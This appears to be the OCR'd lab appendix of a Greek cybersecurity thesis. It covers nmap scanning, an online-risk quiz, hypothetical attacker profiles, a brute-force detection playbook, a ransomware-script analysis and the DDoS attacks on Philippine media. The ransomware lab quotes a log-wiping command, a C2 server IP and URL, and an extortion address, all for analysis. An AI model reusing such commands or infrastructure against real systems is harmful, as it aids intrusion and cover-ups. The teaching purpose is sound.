A. Blog has been removed (Go to https://www.url2png.com/ and paste the URL found
inside the attachment, paste it there and click on I’'m not a robot and lastly click on

green camera like button.)

= | nhttps/35000usdper [N

™
\/ Imnot a robot
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Lab 3 - Detecting Threats and Vulnerabilities

Objectives
Use Nmap, a port scanner and network mapping tool to detect threats and vulnerabilities on a

system.

Background / Scenario

Network Mapper, or Nmap, is an open source utility used for network discovery and security
auditing. Administrators also use Nmap for monitoring hosts or managing service upgrade
schedules. Nmap determines what hosts are available on a network, what services are
running, what operating systems are running, and what packet filters or firewalls are running.

Required Resources

PC with Ubuntu 16.0.4 LTS installed in a virtual machine - you can use the VM from labs
completed in chapter 2.

Step 1: Open a terminal window in Ubuntu.

a) Log into Ubuntu using the following credentials:
User: cisco
Password: password
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Step 2: Run Nmap.
At the command prompt, enter the following command to run a basic scan against this
Ubuntu system: cisco@ubuntu:~$ nmap localhost

isco@ubuntu:~$ nmap localhost

Starting Nmap 7.01 ( https://nmap.org ) at 2016-06-03 22:43 PDT
map scan report for localhost (127.0.0.1)

ost is up (0.000044s latency).

ot shown: 998 closed ports

PORT STATE SERVICE

22 /tcp open ssh

23/tcp open telnet

map done: 1 IP address (1 host up) scanned in 0.11 seconds
isco@ubuntu:~$

The results are a scan of the first 1024 TCP ports.

What TCP ports are open?
Ports 22, 23 and 631.

Step 3: Use administrative privileges with Nmap.
1) Type the following command in the terminal to scan the computer’s UDP ports

(remember, Ubuntu is case sensitive) and enter the password password when
prompted: cisco@ubuntu:~$ sudo nmap —sU localhost
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cisco@ubuntu:~$ sudo nmap -sU localhost
[sudo] password for cisco:

Starting Nmap 7.01 ( https://nmap.org ) at 2016-06-03 22:47 PDT
Nmap scan report for localhost (127.0.0.1)

Host is up (0.0000030s latency).

Not shown: 997 closed ports

PORT STATE SERVICE
68/udp open|filtered dhcpc
631/udp open|filtered ipp
5353/udp open|filtered zeroconf

Nmap done: 1 IP address (1 host up) scanned in 2.72 seconds
cisco@ubuntu:~$ [

What UDP ports are open?
Ports 68, 631 and 5353.

2) Type the following command in the terminal:
cisco@ubuntu:~$ nmap —sV localhost

cisco@ubuntu:~$ nmap -sV localhost

Starting Nmap 7.01 ( https://nmap.org ) at 2016-06-03 22:53 PDT
Nmap scan report for localhost (127.0.0.1)

Host is up (0.000045s latency).

Not shown: 998 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntul (Ubuntu Linux; protocol 2.0)
23/tcp open telnet Linux telnetd
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap
.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 0.97 seconds

cisco@ubuntu:~$ I

Using the —sV switch with the nmap command performs a version detection which
you can use to research vulnerabilities.

Step 4: Capture SSH keys.

Type the following command in the terminal to initiate a script scan:
cisco@ubuntu:~$ nmap —A localhost
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isco@ubuntu:~$ nmap -A localhost

Starting Nmap 7.01 ( https://nmap.org ) at 2016-06-063 22:56 PDT

map scan report for localhost (127.0.0.1)

ost is up (0.000050s latency).

ot shown: 998 closed ports

PORT STATE SERVICE VERSION

22 /tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntul (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:

| 2048 83:35:37:81:c7:04:47:d4:6b:b4:87:b3:e3:5b:c7:ab (RSA)
|_ 256 78:97:1f:92:cf:38:63:90:¢c3:7f:d5:ff:85:43:e6:2f (ECDSA)
23/tcp open telnet Linux telnetd

Service Info: 0S: Linux; CPE: cpe:/o:Llinux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap
.org/submit/ .

map done: 1 IP address (1 host up) scanned in 1.16 seconds

isco@ubuntu:~$ I

You captured the SSH keys for the host system. The command runs a set of scripts built into
Nmap to test specific vulnerabilities.

References
Nmap: https://nmap.org/

Lab 4 - Discover Your Own Risky Online Behavior

Objectives
Explore actions performed online that may compromise your safety or privacy.

Background / Scenario

The Internet is a hostile environment, and you must be vigilant to ensure your data is not
compromised. Attackers are creative and will attempt many different techniques to trick
users. This lab helps you identify risky online behavior and provide tips on how to become
safer online.

Part 1: Explore the Terms of Service Policy

Answer the questions below with honesty and take note of how many points each answer
gives you. Add all points to a total score and move on to Part 2 for an analysis of your online
behavior.

A. What kind of information do you share with social media sites?
1) Everything; | rely on social media to keep in touch with friends and family. (3
points)
2) Atrticles and news I find or read (2 points)
3) It depends; I filter out what I share and with whom | share. (1 point)
4) Nothing; I do not use social media. (O points)
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B. When you create a new account in an online service, you:

1) Re-use the same password used in other services to make it easier to remember. (3
points)

2) Create a password that is as easy as possible so you can remember it. (3 points)

3) Create a very complex password and store it in a password manager service. (1
point)

4) Create a new password that is similar to, but different from, a password used in
another service. (1 point)

5) Create an entirely new strong password. (0 points)

C. When you receive an email with links to other sites:

1) You do not click the link because you never follow links sent to you via email. (0
points)

2) You click the links because the email server has already scanned the email. (3
points)

3) You click all links if the email came from a person you know. (2 points)

4) You hover the mouse on links to verify the destination URL before clicking. (1
point)

D. A pop-up window is displayed as you visit a website. It states your computer is at risk
and you should download and install a diagnostics program to make it safe:
1) You click, download, and install the program to keep your computer safe. (3
points)
2) You inspect the pop-up windows and hover over the link to verify its validity. (3
points)
3) Ignore the message, making sure you don’t click it or download the program and
close the website. (0 points)

E. When you need to log into your financial institution’s website to perform a task, you:
1) Enter your login information immediately. (3 points)
2) You verify the URL to ensure it is the institution you were looking for before
entering any information. (0 points)
3) You don’t use online banking or any online financial services. (0 points)

F. You read about a program and decide to give it a try. You look around the Internet and
find a trial version on an unknown site, you:
1) Promptly download and install the program. (3 points)
2) Search for more information about the program creator before downloading it. (1
points)
3) Do not download or install the program. (0 points)

G. You find a USB drive while walking to work. you:
1) Pick it up and plug it into your computer to look at its contents. (3 points)
2) Pick it up and plug it into your computer to completely erase its contents before re-
using it. (3 points)
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3) Pick it up and plug it into your computer to run an anti-virus scan before re-using it
for your own files (3 points)
4) Don’t pick it up. (0 points)

H. You need to connect to the Internet and you find an open Wi-Fi hotspot. You:
1) Connect to it and use the Internet. (3 points)
2) Don’t connect to it and wait until you have a trusted connection. (0 points)
3) Connect to it and establishes a VPN to a trusted server before sending any
information. (0 points)

Part 2: Analyze Your Online Behavior

The higher your score, the less safe your online behaviors are. The goal is to be 100% safe by
paying attention to all your online interactions. This is very important as it only takes one
mistake to compromise your computer and data.

Add up the points from Part 1. Record your score.

0: You are very safe online.

0 — 3: You are somewhat safe online but should still change your behavior to be completely
safe.

3 —17: You have unsafe behavior online and have a high risk of becoming compromised.

18 or more: You are very unsafe online and will be compromised.

Below are a few important online safety tips.

i. The more information you share on social media, the more you allow an attacker to
know you. With more knowledge, an attacker can craft a much more targeted attack.
For example, by sharing with the world you went to a car race, an attacker can craft a
malicious email coming from the ticketing company responsible for the race event.
Because you have just been to the event, the email seems more credible.

ii. Reusing passwords is a bad practice. If you reuse a password in a service under
attackers’ control, they may be successful when attempting to log in as you in other
services.

iii. Emails can be easily forged to look legitimate. Forged emails often contain links to
malicious sites or malware. As a general rule, do not click embedded links received
via email.

iv. Do not accept any unsolicited software, especially if it comes from a web page. It is
extremely unlikely that a web page will have a legitimate software update for you. It
is strongly recommended to close the browser and use the operating system tools to
check for the updates.

v. Malicious web pages can be easily made to look like a bank or financial institution
website. Before clicking the links or providing any information, double-check the
URL to make sure it is the correct web page.

vi. When you allow a program to run on your computer, you give it a lot of power.
Choose wisely before allowing a program to run. Research to make sure the company
or individual behind the program is a serious and legitimate author. Also, only
download the program from the official website of the company or individual.
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vii. USB drives and thumb drives include a tiny controller to allow computers to
communicate with it. It is possible to infect that controller and instruct it to install
malicious software on the host computer. Because the malware is hosted in the USB
controller itself and not in the data area, no amount of erasing or anti-virus scanning
will detect the malware.

viii. Attackers will often deploy fake Wi-Fi hotspots to lure users. Because the attacker has
access to all the information exchanged via the compromised hotspot, users connected
to that hotspot are at risk. Never use unknown Wi-Fi hot spots without encrypting
your traffic through a VPN. Never provide sensitive data such as credit card numbers
while using an unknown network (wired or wireless).

Reflection
After analyzing your online behavior, what changes would you make to protect yourself

online?

Lab 5 - BLACK HAT HACKERS

Objectives
Research and analyze cyber security incidents.

Background / Scenario

The FBI has estimated that cybercrime cost individuals and companies over 3.5 billion
dollars in 2019. Governments, businesses, and individual users are increasingly the targets of
cyberattacks and cybersecurity incidents are becoming more common.

In this lab, you will create three hypothetical cyber attackers, each with an organization, an

attack, a motive. In addition, suggest a method by which an organization could prevent or
mitigate the attack.
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Note: You can use the web browser in the virtual machine that was installed in a previous lab
to research security issues. By using the virtual machine, you may prevent malware from
being installed on your computer.

Required Resources
PC or mobile device with internet access and virtual machine (optional)

Instructions
Scenario 1:

A

Who is the attacker?
The attacker is computer network student at a university with friends failing classes.

What organization or group is the attacker associated with, if any?
The student is part of a group of fellow computer students with the tools to doctor grades
of fellow students to help or hinder educations.

. What is the motive of the attacker?

To gain access to the teacher's gradebooks and student university records for the purpose
of changing grades and transcripts to reflect positively or negatively on a case by case
basics.

What method of attack was used?

The student group developed a keystroke logger to capture the keystrokes of all university
staff to gain network logins and passwords. With the group being computer network
students without a huge amount of time on their hands they opt to go for a hypervisor-
based keylogger. The keylogger can reside in a malware hypervisor running underneath
the OS, which remains untouched. It effectively becomes a VM. (Blue Pill - a rootkit
based on x86 virtualization)

What was the target and vulnerability used against the business?

As the creator of Blue Pill has claimed, any detection program could be fooled by the
hypervisor and such a system could be almost 100% undetectable. Since AMD
virtualization is seamless by its design, a virtualized gust is not supposed to be able to
find out if they're a guest or not on the system. Therefore, the only way programs like
Blue Pill could be detected is if the virtualization implementation were not functioning
correctly. AMD and other security researchers say this statement is impassible and
virtualization could be detected by a timing attack relying on external sources of time.

How could this attack be prevented or mitigated?

While the effectiveness of counter measures can vary due to keyloggers using different
techniques, there are many ways to mitigate and prevent keyloggers from working. Some
examples include anti-keyloggers, which is a piece of software designed to detect the
malicious software by comparing the files on the computer against a database of
keyloggers looking for any similarities that could signal the presence of a keylogger.
Anti-spyware applications can also detect some software based keyloggers and
quarantine, disable or cleanse them. It is worth noting however that many keylogging
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programs are legitimate piece of software in some instances and anti-spyware can neglect
to label it as a virus. Also, anti-spyware cannot defeat non-software keyloggers.

Scenario 2:

A. Who is the attacker?
An employee at Target that lost his job and tends to seek revenge amongst the company

B. What organization/group is the attacker associated with?
The employee is part of a skilled computer group that will use their skills to destroy
confidential data

C. What is the motive of the attacker?
Acquire confidential data from users across the industry

D. What method of attack was used?
The attacker uses a phishing method for its targets

E. What was the target and vulnerability used against the business?
The target was employees, managers and shareholders working at the company. They
have found a lack of security staff's emails.

F. How could this attack be prevented or mitigated?
Adding a multifactor authentication onto the emails will decrease the chance of emails
being hacked.

Scenario 3:

A. Who is the attacker?
The attacker is a hacker attempting to bring down a government website or service.

B. What organization/group is the attacker associated with?
They're a member of a terrorist organization.

C. What is the motive of the attacker?
The motive of the hacker was to be a part of a larger attack in bringing down a
government web service rendering themunable to send or receive messages regarding
nation security issues. By doing so they make it harder for places to send info about
current attacks.
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D. What method of attack was used?
Ping of Death is a type of Denial of Service (DoS) attack in which an attacker attempts to
crash, destabilized, or freeze the targeted computer or service by sending malformed or
oversized packets using a simple ping command. Ping of Death attacks as particularly
effective because the attacker's identify could be easily spoofed. A Ping of Death attacker
would need no detailed knowledge of the machine he/she was attaking, except for its IP
address.

E. What was the target and vulnerability used against the business?
PoD attacks exploit legacy weaknesses, which may have been patched systems. However,
in an unpached system, the attack has become popular. This attack, commonly known as
a Ping flood, the targeted system is hit with ICMP packets sent rapidlyvia ping without
waiting for replies.

F. How could this attack be prevented or mitigated?

To avoid Ping of Death attacks many sites block ICMP ping messages altogether at their
firewalls. This however isn't a viable approach in the long run. Invalid packet attacks can
be directed at any listening port such as FTP ports. But you may not want to block all of
these, for operational reasons. By blocking ping messages, you prevent legitimate ping
use and there are still utilities that rely on ping for checking that connections are live. The
smarter approach would be to selectively block fragmented pings, allowing actual ping
traffic to pass through unhindered.

Lab 6 - BLUE HAT HACKERS

USE CASE: BRUTE FORCE ATTACK

THE PROBLEM
The number and intensity of brute force attacks increased dramatically in recent years — and
stronger brute force attacks have become the norm.

BACKGROUND

Brute-forcing passwords can allow attackers entrance to target infrastructure. For example, a
hacker can compromise an organization’s server first by a brute-force attack on passwords for
the RDP protocol, then by conducting reconnaissance of the internal network. Factors that
contribute to the success of this kind of attack include the use of dictionary passwords, the
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lack of two-factor authentication, and insufficient protection of resources. The attack is even
more likely to be effective if the password for the OS administrator is weak and if computer
and server RDP ports are open to Internet connections.

Brute force attacks can involve any of the following scenarios:

1) Internal brute force attack, where someone on the inside of the organization attacks.

2) External brute force attack, which is remote — i.e., an attack on a service provided by
the organization that is used by its employees.

3) Application attack, i.e., an attack on external and mobile applications that are used by
employees or customers.

4) Offline brute force attack, in which an attacker succeeds in obtaining a database of
encrypted passwords and continues to attack it offline.

In this use case, we’re focusing on an internal brute force attack.

PROBLEM DEFINITION
An attacker obtains access to high-privilege users which gives the attacker the ability to harm
the organization.

The attacker tries to uncover the password for a particular user, leveraging the many
automation tools available that allow the testing of thousands of options per minute.

Start
berp Nf coc I;:n:wd:s v | Analyst documents
// CyberProof *, | Aanalystsa - Is alert a False 55| investigation and
{ Defense | SeeMo starts enrichment alerts and Positive? closes alert
1 Center pulls | on detected observables enrichments
SIEM alerts"r' from relevant resources — I, —
N : I MNo
Creation of incident
li
@ Analyst checks tn:anuz' vﬁr
the provided automatically)
SeeMo recognizes relevant information I
observables
Analyst initiates Analyst investigates Analyst initiates
incident investigation - scope of targeted | attack flow
using customized playbook users investigation
1y : '
Analyst may initiate Analyst blocks and IT manager changes
mitigation steps from — disconnects —| passwords for all
cbcC compromised users affected users

STAGE 1: PREPARATION

Prior to the attack, cybersecurity protective mechanisms need to be put into place:
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» Using the CyberProof Defense Center (CDC), connect to the customer’s
authentication and authorization service.
» Create a customer-specific digital playbook for handling a brute force attack.

STAGE 2: DETECTION & ANALYSIS

An indication of a brute force attempt is detected by the SIEM — which is pre-configured with
a set of rules developed and provided by CyberProof to detect brute force attempts.

The SIEM identifies failed attempts to gain access, and the following process takes place:

1. The CDC provides enrichment information:

User Information — The CDC provides enriched information related to the
user.

Work Station Information — The CDC provides enriched information about the
user’s work environment.

Network Topology — The CDC provides the analyst with details of the
network topology and the architecture to better understand the layout of the
attack.

User Confirmation — The CDC makes contact with users whose accounts
indicate a brute force attempt, sending messages by cell phone that ask
whether they attempted to log in. Each user responds, either indicating it was
an error, or confirming the existence of a brute force attack. This eliminates
the possibility of a false positive.

2. CyberProof analysts follow a playbook that contains a set of manual and automated
predefined actions, such as determining the number of users being attacked and
checking for irregular network behavior — to eliminate the risk of an actual brute force
attack, or to identify the source of an attack and mitigate it.

STAGE 3: MITIGATION

The mitigation process involves the following process:

1. Block compromised users and accounts (manually or automatically).

2. Disconnect users whose accounts were compromised, who are already connected
(manually or automatically).

3. Perform a controlled password renewal for all of the effected user accounts (manually
or automatically).

4. Perform a manual process of root cause analysis, updating rules in accordance with
new brute force methods.

BENEFITS

By leveraging automation and the team’s expertise, CyberProof allows you to reduce the time
involved in identifying brute force attacks — thereby mitigating the damage, reducing dwell
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time from detection to remediation, and providing clear procedures that are understood inside
the organization.

Lab 7 - GREEN HAT HACKERS

Brief overview of what a Ransomware is?
Ransomware is a form of malware that encrypts a victim’s files. The attacker then demands a
ransom from the victim to restore access to the data upon payment.

Given Scenario

Malware Analysis- Ransomware Script- One of our web servers recently got compromised
and was hit with ransomware. Luckily we had a restore point just before the files were
encrypted, and managed to recover a suspicious script file that didn’t appear to have been run
yet.

In order to solve this challenge, a zip file would be available to download containing an
infected ransomware Script. Password to access this zip and other folder is given the picture
below.

A Ransomware Password

Script.txt Download File
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NOTE- My suggestion would be to open this infected file in a VM machine (Linux
preferably).

Warning!

This file includes . Please be careful
when interacting with it.

Tools/Utility used
Text Editor

Q. What is the malicious IP address referenced multiple times in the script?
A. 185.141.25.168

Q. The script uses apt-get to retrieve two tools, and uses yum to install them. What is the
command line to remove the yum logs afterwards?
A. rm -rf lvar/log/yum*

Q. A message is created in the file /etc/motd. What are the three first words?
A. You were hacked

Q. This message also contains a contact email address to have the system fixed. What is it?
A. nationalsiense@protonmail.com

Q. When files are encrypted, an unusual file extension is used. What is it?

A ®

Q. There are 5 functions associated with the encryption process that start with ‘encrypt’.
What are they, in the order they’re actually executed in the script? (do not include “()”)
A. encrypt_ssh, encrypt_grep_files, encrypt_home, encrypt_root, encrypt_db

Q. The script will check a text file hosted on the C2 server. What is the full URL of this file?
A. http://185.141.25.168/check_attack/0.txt
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Lab 8 - RED HAT HACKERS

Attacks on Philippine alternative media organisations

One relevant example of this type of attack was launched on alternative media organizations
in the Philippines between late 2018 and early 2019. Some of the media organizations
involved were: Bulatlat, Kodao Productions, Pinoy Weekly and the National Union of
Journalists (NUJP) website.

According to a statement from AlterMidya, the attacks began in early December 2018 and by
December 26, all of the sites were inaccessible. The DDoS attacks continued until February 5
2019, and, as the NUJP reported later, attacks to their website were repeated on February 11,
2019.

While these sites had been attacked individually in the past, the scale and the coordination of
these DDoS attacks had not been seen before. The media organizations that were targeted
believe that these attacks were meant to silence dissent against the Philippine President
Rodrigo Duterte and his administration.

Based on what was published in AlterMidya, the attacks against Bulatlat in December 2018

came after they reported on the anniversary of the Communist Party of the Philippines.
According to Bulatlat, the attacks in January 2019 started when they published two reports:
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one on how the Philippine government is abandoning its children by lowering the minimum
age of criminal responsibility and another on the release of peace activist, Rafael Baylosis.

Based on an NUJP report, the most requested URL path for the attacks on 11 February 2019
was https://nujp.org/?s=duterte , a page that appears when keyword “Duterte” is searched on
the website. The NUJP mentioned in a report on February 11 that “like the previous attack,
we strongly believe this is part of an orchestrated campaign to silence critical outfits and
organizations that has also targeted alternative news sites”.

Since the end of January 2019, some of the attacked media organisations progressively
migrated their websites to VirtualRoad (https://www.qurium.org/secure-hosting/ ), Qurium
Media Foundation’s secure web hosting service for independent online news outlets and
human rights organizations under threat. Bulatlat in particular, did so on January 25 - in the
middle of attacks. This allowed Qurium to monitor and investigate the DDoS attacks against
these websites, particularly those against Bulatlat, which had been hosted by Cloudflare prior
to the attacks.

Cloudflare assisted Bulatlat with DDoS mitigation when the first wave of attacks began on
December 26th 2018, but were unable to prevent the campaign from shutting down the
website in January of the following year.

The forensics reports from Qurium allowed the media companies to file a lawsuit against the
IT companies implicated in the DDoS attacks.

In this case, the DDoS attacks occurred within the context of President Rodrigo Duterte's
actions against press freedom in the Philippines—which included threats against Rappler.com
and its founder, Maria Ressa beginning in 2017 — and alongside an unprecedented number of
threats against journalists and media organisations in the Philippines:

“Separately and together, these 85 cases have made the practice of journalism an even more
dangerous endeavor under Duterte.

From June 30, 2016 to May 1, 2018, these cases include the killing of 9 journalists, 16 libel
cases, 14 cases of online harassment, 11 death threats, 6 slay attempts, 6 cases of harassment,
5 cases of intimidation, 4 cases of website attack, revoked registration or denied franchise
renewal, verbal abuse, strafing, and police surveillance of journalists and media agencies.”

Zoom-in: Using a forensics report to file charges against IT companies over news sites
cyberattacks

On March 29, 2019, the group of Philippine alternative media outlets that reported the DDoS
attacks filed a civil complaint before a Quezon City Regional Trial Court against two IT
companies: IP Converge and Suniway Group of Companies.

As shared by one of the media outlets, Bulatlat, Qurium Media Foundation’s forensics report
revealed that the IP addresses were exposed when the alleged attackers committed a mistake
of visiting the website under attack without turning on their hidden virtual private network
and when another visited the website through a Samsung phone.
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Qurium noticed suspicious “extra hops” in the traffic traces, which they later discovered as a
traffic tunnel between Hong Kong and Manila. The said traffic tunnel infrastructure, which
diverts the origin of attacks, was owned by Suniway.

Qurium later on reached out to IP Converge, informing them that they had received reports
about an attack coming from their network. Despite several emails, by the time the news
report was published by mainstream media (April 2019), IP Converge hadn’t acknowledged
or responded to these messages. Meanwhile, Qurium said in its report that the attacker could
easily be identified by Suniway if Suniway were “interested in attributing the attacks that
have been facilitated through their infrastructure,” adding that the said attacker had
“administrative rights to servers in their core infrastructure.”

In the complaint, the alternative media outfits under attack identified three causes for legal
action for the two tech companies: clear abuse of right, losses and injuries sustained by the
plaintiffs, and the violation of the plaintiffs’ freedom to maintain publications.

As of February 2020, the IT companies and media outlets have reached an agreement. In a
joint statement, IT companies expressed “their utmost respect and full support of press
freedom as a constitutional guarantee and a tenet of a democratic society”.

“As defendants have no prior knowledge of, much less consented to, the use of IPC’s and
Suniway’s respective cyber-infrastructure for the perpetration of these cyberattacks,
defendants commit to support a free press”. In the joint statement, IPC and Suniway commit
to developing mechanisms that could combat attacks in the future.

The media groups ended up collectively withdrawing the charges before the court and the

results were considered a small victory by the group, as they affirmed their right to press
freedom and free expression and provided a promise of future vigilance.

118



	ΠΕΡΙΛΗΨΗ
	ABSTRACT
	Κατάλογος εικόνων
	ΚΕΦΑΛΑΙΟ 1 Εισαγωγή
	1.1 ΔΟΜΗ ΕΡΓΑΣΙΑ

	ΚΕΦΑΛΑΙΟ 2 ΚΑΤΗΓΟΡΙΟΠΟΙΗΣΗ ΣΕΝΑΡΙΩΝ ΕΠΙΘΕΣΕΩΝ
	2.1 ΤΥΠΟΙ ΚΑΚΟΒΟΥΛΟΥ ΛΟΓΙΣΜΙΚΟΥ
	(Ενότητα 2.1.Α) ΙΟΙ (VIRUSES)
	(Υποενότητα 2.1.A.1) ΤΑ ΜΕΡΗ ΕΝΟΣ ΙΟΥ
	(Υποενότητα 2.1.A.2) ΟΙ ΦΑΣΕΙΣ ΕΝΟΣ ΙΟΥ
	(Ενότητα 2.1.Β) ΣΚΟΥΛΗΚΙΑ ΥΠΟΛΟΓΙΣΤΩΝ (WORMS)
	(Υποενότητα 2.1.B.1) ΤΑ ΣΥΣΤΑΤΙΚΑ ΤΩΝ «ΣΚΟΥΛΗΚΙΩΝ»
	(Ενότητα 2.1.Γ) TROJAN HORSES
	(Υποενότητα 2.1.Γ.1) ΟΙ ΤΥΠΟΙ ΤΩΝ TROJAN HORSE
	(Ενότητα 2.1.Δ) RANSOMWARE
	(Ενότητα 2.1.Ε) ΑΛΛΟΙ ΤΥΠΟΙ ΚΑΚΟΒΟΥΛΟΥ ΛΟΓΙΣΜΙΚΟΥ
	(Ενότητα 2.1.ΣΤ) ΚΟΙΝΕΣ ΣΥΜΠΕΡΙΦΟΡΕΣ ΚΑΚΟΒΟΥΛΩΝ ΛΟΓΙΣΜΙΚΩΝ

	2.2  ΤΥΠΟΙ ΕΠΙΘΕΣΕΩΝ ΔΙΚΤΥΟΥ (NETWORK ATTACKS)
	(Ενότητα 2.2.Α) RECONNAISSANCE ATTACKS
	(Ενότητα 2.2.Β) ACCESS ATTACKS
	(Ενότητα 2.2.Γ) SOCIAL ENGINEERING ATTACKS
	(Ενότητα 2.2.Δ) Denial of Service (DoS) Attacks
	(Ενότητα 2.2.Ε) Distributed Denial of Service (DDoS) Attack
	(Υποενότητα 2.2.Ε.1) ΤΑ ΣΤΟΙΧΕΙΑ ΤΩΝ ΕΠΙΘΕΣΕΩΝ DDoS
	(Ενότητα 2.2.ΣΤ) BUFFER OVERFLOW ATTACK

	2.3  ΜΕΘΟΔΟΙ ΥΠΕΚΦΥΓΗΣ

	ΚΕΦΑΛΑΙΟ 3 THREAT ACTORS
	3.1 ΑΠΕΙΛΕΣ – ΤΡΩΤΑ ΣΗΜΕΙΑ – ΚΙΝΔΥΝΟΙ
	3.2. HACKERS ΚΑΙ THREAT ACTORS
	(Ενότητα 3.2.A) ΟΙ HACKERS
	(Ενότητα 3.2.Β) ΤΑ ΕΙΔΗ ΤΩΝ HACKER

	3.3. Η ΕΞΕΛΙΞΗ ΤΩΝ THREAT ACTORS

	ΚΕΦΑΛΑΙΟ 4 ΑΛΓΟΡΙΘΜΟΙ
	4.1 VIRUSES
	4.2 WORMS
	4.3 BUFFER OVERFLOW ATTACK

	ΚΕΦΑΛΑΙΟ 5 ΣΕΝΑΡΙΑ ΕΠΙΘΕΣΕΩΝ ΚΑΙ ΤΕΧΝΙΚΕΣ ΚΥΒΕΡΝΟΑΣΦΑΛΕΙΑΣ
	5.1 Logging Network Activity
	(Ενότητα 5.1.A) Η λειτουργία των ανιχνευτών πακέτων
	(Ενότητα 5.1.B) ARP poisoning and Man-in-the-Middle Attack
	(Ενότητα 5.1.Γ) Ανίχνευση μιας επίθεσης Man-in-the-Middle
	(Ενότητα 5.1.Δ) Βέλτιστες πρακτικές για την πρόληψη επιθέσεων Man-in-the- Middle

	5.2 DNS Monitoring
	(Ενότητα 5.2.Α) Φιλτράρισμα πακέτων κατά την προβολή στο Wireshark
	(Ενότητα 5.2.Β) Η χρήση του Wireshark από attackers
	(Ενότητα 5.2.Γ) Πιθανές επιθέσεις DNS
	(Ενότητα 5.2.Δ) Αποτροπή, ανίχνευση και μετριασμός μιας επίθεσης DNS

	5.3 Attacking a mySQL Database
	(Ενότητα 5.3.Α) Αρχεία PCAP
	(Ενότητα 5.3.Β) SQL Injection
	(Ενότητα 5.3.Γ) Πρόληψη και μετριασμός SQLI


	ΚΕΦΑΛΑΙΟ 6 Συμπεράσματα
	ΒΙΒΛΙΟΓΡΑΦΙΑ
	Ξενόγλωσση Βιβλιογραφία
	Ελληνική Βιβλιογραφία

	ΠΑΡΑΡΤΗΜΑΤΑ
	ΠΑΡΑΡΤΗΜΑ Α - STUDY CASES
	Lab 1 - WHITE HAT HACKERS
	Lab 2 - GRAY HAT HACKERS
	Lab 3 - Detecting Threats and Vulnerabilities
	Lab 4 - Discover Your Own Risky Online Behavior
	Lab 5 - BLACK HAT HACKERS
	Lab 6 - BLUE HAT HACKERS
	Lab 7 - GREEN HAT HACKERS
	Lab 8 - RED HAT HACKERS


